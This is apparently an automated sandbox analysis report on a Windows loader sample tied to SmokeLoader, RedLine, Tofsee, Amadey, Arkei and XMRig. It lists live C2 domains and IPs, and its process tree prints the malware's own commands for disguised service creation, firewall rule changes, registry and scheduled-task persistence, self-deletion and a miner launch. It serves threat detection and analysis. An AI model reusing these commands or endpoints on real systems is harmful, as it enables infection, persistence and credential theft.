Analysis

  • max time kernel
    112s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20-12-2021 06:07

General

  • Target

    ecc612951b2e772b8b7e03f301ac5d0d.exe

  • Size

    322KB

  • MD5

    ecc612951b2e772b8b7e03f301ac5d0d

  • SHA1

    3954bf84a61b80153d44a4db6a5ff0527aa29704

  • SHA256

    055470874ff855cc5baa03bdd1164a4d53ab0a31145bb7c678a2f79e992a732d

  • SHA512

    e22f21b20ac86689599c83fd6dd847e00d0f63de73241f2a24b539c15b6d8abd0e385e8c84958783fca5fd7d4e21d467150b61909bc94c507853931ae2adf325

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

mubrikych.top

oxxyfix.xyz

Extracted

Family

redline

Botnet

1

C2

86.107.197.138:38133

Extracted

Family

amadey

Version

2.86

C2

185.215.113.35/d2VxjasuwS/index.php

Extracted

Family

redline

Botnet

install

C2

62.182.156.187:56323

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 9 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • VMProtect packed file 2 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ecc612951b2e772b8b7e03f301ac5d0d.exe
    "C:\Users\Admin\AppData\Local\Temp\ecc612951b2e772b8b7e03f301ac5d0d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1588
    • C:\Users\Admin\AppData\Local\Temp\ecc612951b2e772b8b7e03f301ac5d0d.exe
      "C:\Users\Admin\AppData\Local\Temp\ecc612951b2e772b8b7e03f301ac5d0d.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1032
  • C:\Users\Admin\AppData\Local\Temp\5052.exe
    C:\Users\Admin\AppData\Local\Temp\5052.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:428
    • C:\Users\Admin\AppData\Local\Temp\5052.exe
      C:\Users\Admin\AppData\Local\Temp\5052.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1528
  • C:\Users\Admin\AppData\Local\Temp\A8ED.exe
    C:\Users\Admin\AppData\Local\Temp\A8ED.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:624
  • C:\Users\Admin\AppData\Local\Temp\86C.exe
    C:\Users\Admin\AppData\Local\Temp\86C.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    PID:1152
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\86C.exe" & exit
      2⤵
        PID:2316
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:2352
    • C:\Users\Admin\AppData\Local\Temp\F11.exe
      C:\Users\Admin\AppData\Local\Temp\F11.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:612
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jnteirkc\
        2⤵
          PID:1244
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rojlbrdq.exe" C:\Windows\SysWOW64\jnteirkc\
          2⤵
            PID:1964
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create jnteirkc binPath= "C:\Windows\SysWOW64\jnteirkc\rojlbrdq.exe /d\"C:\Users\Admin\AppData\Local\Temp\F11.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:748
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description jnteirkc "wifi internet conection"
              2⤵
                PID:1592
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start jnteirkc
                2⤵
                  PID:544
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:1304
                • C:\Users\Admin\AppData\Local\Temp\1D74.exe
                  C:\Users\Admin\AppData\Local\Temp\1D74.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:984
                  • C:\Users\Admin\AppData\Local\Temp\1D74.exe
                    C:\Users\Admin\AppData\Local\Temp\1D74.exe
                    2⤵
                    • Executes dropped EXE
                    PID:2000
                  • C:\Users\Admin\AppData\Local\Temp\1D74.exe
                    C:\Users\Admin\AppData\Local\Temp\1D74.exe
                    2⤵
                    • Executes dropped EXE
                    PID:1652
                • C:\Users\Admin\AppData\Local\Temp\272D.exe
                  C:\Users\Admin\AppData\Local\Temp\272D.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:1332
                  • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                    "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:1564
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                      3⤵
                        PID:1332
                        • C:\Windows\SysWOW64\reg.exe
                          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                          4⤵
                            PID:1624
                        • C:\Windows\SysWOW64\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe" /F
                          3⤵
                          • Creates scheduled task(s)
                          PID:744
                    • C:\Users\Admin\AppData\Local\Temp\2E4F.exe
                      C:\Users\Admin\AppData\Local\Temp\2E4F.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:852
                    • C:\Users\Admin\AppData\Local\Temp\3571.exe
                      C:\Users\Admin\AppData\Local\Temp\3571.exe
                      1⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of SetThreadContext
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1776
                      • C:\Users\Admin\AppData\Local\Temp\3571.exe
                        C:\Users\Admin\AppData\Local\Temp\3571.exe
                        2⤵
                        • Executes dropped EXE
                        PID:1472
                    • C:\Windows\SysWOW64\jnteirkc\rojlbrdq.exe
                      C:\Windows\SysWOW64\jnteirkc\rojlbrdq.exe /d"C:\Users\Admin\AppData\Local\Temp\F11.exe"
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:1392
                      • C:\Windows\SysWOW64\svchost.exe
                        svchost.exe
                        2⤵
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        PID:1976
                        • C:\Windows\SysWOW64\svchost.exe
                          svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2056
                    • C:\Users\Admin\AppData\Local\Temp\57C5.exe
                      C:\Users\Admin\AppData\Local\Temp\57C5.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:560
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                        2⤵
                          PID:2512
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        1⤵
                        • Accesses Microsoft Outlook profiles
                        • outlook_office_path
                        • outlook_win_path
                        PID:1120
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:1408
                        • C:\Windows\system32\taskeng.exe
                          taskeng.exe {56197070-5518-4E64-91F2-77C60B10FCC9} S-1-5-21-3846991908-3261386348-1409841751-1000:VQVVOAJK\Admin:Interactive:[1]
                          1⤵
                            PID:2216
                            • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                              C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                              2⤵
                                PID:2280

                            Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • memory/428-62-0x00000000005DB000-0x00000000005EB000-memory.dmp

                              Filesize

                              64KB

                            • memory/560-182-0x00000000000F0000-0x00000000000F1000-memory.dmp

                              Filesize

                              4KB

                            • memory/560-208-0x0000000000190000-0x0000000000191000-memory.dmp

                              Filesize

                              4KB

                            • memory/560-184-0x00000000000F0000-0x00000000000F1000-memory.dmp

                              Filesize

                              4KB

                            • memory/560-196-0x0000000000170000-0x0000000000171000-memory.dmp

                              Filesize

                              4KB

                            • memory/560-186-0x0000000000100000-0x0000000000101000-memory.dmp

                              Filesize

                              4KB

                            • memory/560-193-0x0000000000120000-0x0000000000121000-memory.dmp

                              Filesize

                              4KB

                            • memory/560-188-0x0000000000100000-0x0000000000101000-memory.dmp

                              Filesize

                              4KB

                            • memory/560-191-0x0000000000110000-0x0000000000111000-memory.dmp

                              Filesize

                              4KB

                            • memory/560-187-0x0000000000100000-0x0000000000101000-memory.dmp

                              Filesize

                              4KB

                            • memory/560-194-0x0000000000120000-0x0000000000121000-memory.dmp

                              Filesize

                              4KB

                            • memory/560-183-0x00000000000F0000-0x00000000000F1000-memory.dmp

                              Filesize

                              4KB

                            • memory/560-190-0x0000000000110000-0x0000000000111000-memory.dmp

                              Filesize

                              4KB

                            • memory/612-95-0x00000000003C0000-0x00000000003D3000-memory.dmp

                              Filesize

                              76KB

                            • memory/612-96-0x0000000000400000-0x00000000004D1000-memory.dmp

                              Filesize

                              836KB

                            • memory/612-90-0x000000000026B000-0x000000000027C000-memory.dmp

                              Filesize

                              68KB

                            • memory/624-75-0x0000000000400000-0x00000000004CD000-memory.dmp

                              Filesize

                              820KB

                            • memory/624-72-0x000000000068B000-0x000000000069C000-memory.dmp

                              Filesize

                              68KB

                            • memory/624-74-0x0000000000220000-0x0000000000229000-memory.dmp

                              Filesize

                              36KB

                            • memory/852-124-0x00000000001D0000-0x00000000001F3000-memory.dmp

                              Filesize

                              140KB

                            • memory/852-115-0x00000000006A0000-0x00000000006DA000-memory.dmp

                              Filesize

                              232KB

                            • memory/852-116-0x00000000003D0000-0x00000000003D1000-memory.dmp

                              Filesize

                              4KB

                            • memory/852-112-0x0000000000400000-0x0000000000523000-memory.dmp

                              Filesize

                              1.1MB

                            • memory/852-111-0x00000000003B0000-0x00000000003B1000-memory.dmp

                              Filesize

                              4KB

                            • memory/852-110-0x0000000000400000-0x0000000000523000-memory.dmp

                              Filesize

                              1.1MB

                            • memory/852-118-0x00000000006E0000-0x0000000000718000-memory.dmp

                              Filesize

                              224KB

                            • memory/852-213-0x0000000000249000-0x000000000025A000-memory.dmp

                              Filesize

                              68KB

                            • memory/852-127-0x0000000000241000-0x0000000000242000-memory.dmp

                              Filesize

                              4KB

                            • memory/852-129-0x0000000000244000-0x0000000000245000-memory.dmp

                              Filesize

                              4KB

                            • memory/852-128-0x0000000000242000-0x0000000000243000-memory.dmp

                              Filesize

                              4KB

                            • memory/984-93-0x00000000009A0000-0x00000000009A1000-memory.dmp

                              Filesize

                              4KB

                            • memory/984-94-0x00000000002E0000-0x00000000002E1000-memory.dmp

                              Filesize

                              4KB

                            • memory/984-85-0x0000000000E90000-0x0000000000E91000-memory.dmp

                              Filesize

                              4KB

                            • memory/1032-55-0x0000000000400000-0x0000000000409000-memory.dmp

                              Filesize

                              36KB

                            • memory/1032-57-0x0000000076151000-0x0000000076153000-memory.dmp

                              Filesize

                              8KB

                            • memory/1120-221-0x0000000000160000-0x00000000001D4000-memory.dmp

                              Filesize

                              464KB

                            • memory/1120-223-0x00000000000F0000-0x000000000015B000-memory.dmp

                              Filesize

                              428KB

                            • memory/1152-87-0x0000000000220000-0x000000000023C000-memory.dmp

                              Filesize

                              112KB

                            • memory/1152-88-0x0000000000400000-0x00000000004D2000-memory.dmp

                              Filesize

                              840KB

                            • memory/1152-81-0x000000000061B000-0x000000000062C000-memory.dmp

                              Filesize

                              68KB

                            • memory/1208-59-0x00000000029A0000-0x00000000029B6000-memory.dmp

                              Filesize

                              88KB

                            • memory/1208-69-0x0000000002BA0000-0x0000000002BB6000-memory.dmp

                              Filesize

                              88KB

                            • memory/1208-76-0x0000000002DD0000-0x0000000002DE6000-memory.dmp

                              Filesize

                              88KB

                            • memory/1332-158-0x0000000000400000-0x00000000004D6000-memory.dmp

                              Filesize

                              856KB

                            • memory/1332-147-0x000000000095B000-0x0000000000979000-memory.dmp

                              Filesize

                              120KB

                            • memory/1332-149-0x0000000000670000-0x00000000006A8000-memory.dmp

                              Filesize

                              224KB

                            • memory/1392-165-0x0000000000400000-0x00000000004D1000-memory.dmp

                              Filesize

                              836KB

                            • memory/1392-159-0x000000000026B000-0x000000000027C000-memory.dmp

                              Filesize

                              68KB

                            • memory/1408-217-0x00000000000F0000-0x00000000000F7000-memory.dmp

                              Filesize

                              28KB

                            • memory/1408-218-0x00000000000E0000-0x00000000000EC000-memory.dmp

                              Filesize

                              48KB

                            • memory/1472-167-0x0000000000400000-0x0000000000420000-memory.dmp

                              Filesize

                              128KB

                            • memory/1472-170-0x0000000000400000-0x0000000000420000-memory.dmp

                              Filesize

                              128KB

                            • memory/1472-175-0x0000000000630000-0x0000000000631000-memory.dmp

                              Filesize

                              4KB

                            • memory/1564-179-0x0000000000400000-0x00000000004D6000-memory.dmp

                              Filesize

                              856KB

                            • memory/1564-176-0x00000000002CB000-0x00000000002E9000-memory.dmp

                              Filesize

                              120KB

                            • memory/1588-54-0x000000000065B000-0x000000000066B000-memory.dmp

                              Filesize

                              64KB

                            • memory/1588-58-0x0000000000220000-0x0000000000229000-memory.dmp

                              Filesize

                              36KB

                            • memory/1652-141-0x0000000000400000-0x0000000000420000-memory.dmp

                              Filesize

                              128KB

                            • memory/1652-139-0x0000000000400000-0x0000000000420000-memory.dmp

                              Filesize

                              128KB

                            • memory/1652-138-0x0000000000400000-0x0000000000420000-memory.dmp

                              Filesize

                              128KB

                            • memory/1652-140-0x0000000000400000-0x0000000000420000-memory.dmp

                              Filesize

                              128KB

                            • memory/1652-145-0x0000000000400000-0x0000000000420000-memory.dmp

                              Filesize

                              128KB

                            • memory/1652-142-0x0000000000400000-0x0000000000420000-memory.dmp

                              Filesize

                              128KB

                            • memory/1652-157-0x0000000000CF0000-0x0000000000CF1000-memory.dmp

                              Filesize

                              4KB

                            • memory/1776-136-0x0000000004C40000-0x0000000004C41000-memory.dmp

                              Filesize

                              4KB

                            • memory/1776-137-0x0000000000490000-0x0000000000491000-memory.dmp

                              Filesize

                              4KB

                            • memory/1776-133-0x0000000000D20000-0x0000000000D21000-memory.dmp

                              Filesize

                              4KB

                            • memory/1976-162-0x0000000000080000-0x0000000000095000-memory.dmp

                              Filesize

                              84KB

                            • memory/1976-163-0x0000000000080000-0x0000000000095000-memory.dmp

                              Filesize

                              84KB

                            • memory/2512-249-0x0000000001170000-0x0000000001171000-memory.dmp

                              Filesize

                              4KB